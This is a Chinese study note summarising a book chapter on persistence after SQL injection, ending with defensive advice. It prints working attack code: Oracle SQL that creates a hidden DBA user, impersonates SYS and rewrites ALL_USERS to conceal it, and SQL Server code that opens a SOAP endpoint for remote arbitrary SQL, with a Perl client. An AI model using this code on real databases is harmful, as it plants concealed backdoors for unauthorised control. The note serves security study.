SQL注入与防御-第六章-3:利用操作系统--巩固访问
一、核心逻辑与价值
“巩固访问” 是 SQL 注入攻击的持久化控制阶段,通过篡改数据库权限、植入隐蔽后门(如 “数据库 rootkit” )、利用系统组件(如 SQL Server SOAP 端点 ),实现对数据库及关联服务器的长期控制,绕过常规防御检测,扩大攻击影响。
二、技术实现与典型场景
(一)数据库 Rootkit 植入(以 Oracle 为例)
1. 原理
通过篡改数据库元数据、系统视图,隐藏恶意用户、权限或操作,类似操作系统 Rootkit 对系统进程、文件的隐藏,使攻击行为长期潜伏。
2. 实施步骤(示例代码)
- 1. 创建隐蔽用户(需 DBA 权限)
GRANT DBA TO hidden IDENTIFIED BY hidden_2009;
-- 2. 禁用多进程(干扰系统审计)
SELECT sys.kupp$proc.disable_multiprocess FROM dual;
-- 3. 篡改用户标识(伪装为 SYS 用户)
SQL> exec sys.kupp$proc.change_user('SYS');
-- 4. 隐藏用户(修改系统视图过滤条件)
UPDATE sys.users SET temp#='666' WHERE name='HIDDEN';
-- 5. 创建伪造视图(从 ALL_USERS/DBA_USERS 中隐藏恶意用户)
CREATE OR REPLACE FORCE VIEW "SYS"."ALL_USERS" ("USERNAME", "USER_ID", "CREATED") AS
SELECT u.name, u.user# , u.ctime
FROM sys.user$ u, sys.ts$ dts, sys.ts$ tts
WHERE u.datats# = dts.ts#
AND u.tempts# = tts.ts#
AND u.type != 1 -- 过滤恶意用户类型
AND u.temp# != '666'; -- 过滤标记用户
3. 防御难点
- 直接篡改系统表 / 视图,突破常规权限审计;
- 依赖数据库高权限(如
DBA
),攻击成功后难以追溯。
(二)利用 SQL Server SOAP 端点持久化控制
1. 原理
通过 CREATE ENDPOINT
命令创建 SOAP 端点,将 SQL 执行能力绑定到 HTTP 服务,实现跨协议控制(从数据库注入延伸到 Web 服务接口 ),绕过传统数据库防御。
2. 实施步骤(示例代码)
- 创建 SOAP 端点(需高权限,如 sysadmin )
EXEC ('CREATE ENDPOINT ep2 STATE=STARTED AS HTTP
( PATH = ''/sp'', PORTS=(CLEAR), AUTHENTICATION=(INTEGRATED) )
FOR SOAP (BATCHES=ENABLED)');
-- 通过 SOAP 端点执行任意 SQL(示例:篡改 Web 页面)
-- 构造 Perl SOAP 请求(简化示例)
use SOAP::Lite;
my $soap = SOAP::Lite->uri('http://schemas.microsoft.com/sql/2004/08/server');
my $result = $soap->Execute( SOAP::Data->name('sql' => 'UPDATE test SET content = ''Hacked'' WHERE id=1')
)->result;
3. 攻击链扩展
- 绑定到 IIS 同一内核组件(
http.sys
),利用 SQL Server 高权限篡改 Web 内容; - 结合
sqlbatch
方法,通过 SOAP 远程执行 T-SQL 语句,实现命令执行、权限维持。
(三)主流数据库 Rootkit 与防御启示
1. 典型工具与案例
- SQL Server:利用
http.sys
暴露 SOAP 端点,创建隐蔽通信通道; - Oracle:通过修改
ALL_USERS
DBA_USERS
视图隐藏用户,结合sys.kupp$proc
篡改系统状态; - 历史案例:Chris Anley 的 “三字节补丁”(反转条件跳转逻辑禁用系统验证 )、Alexander Kornbrust 揭露的数据库 Rootkit 家族。
2. 防御思路
- 元数据审计:定期检查系统表(如
sys.users
ALL_USERS
)、视图的异常变更,对比官方 schema 哈希; - 功能限制:禁用不必要的数据库功能(如
CREATE ENDPOINT
sys.kupp$proc
),最小化攻击面; - 行为监控:通过数据库审计工具(如 SQL Server Audit、Oracle Audit Vault )追踪高权限操作(如
GRANT DBA
CREATE VIEW
)。
三、总结
“巩固访问” 是 SQL 注入攻击的持久化阶段,利用数据库 Rootkit、系统组件扩展(如 SOAP 端点 ),实现长期控制与隐蔽渗透。防御需聚焦元数据审计、功能最小化、行为监控,切断攻击的持久化链路。此类攻击依赖高权限,因此权限收缩与实时审计是核心防御手段。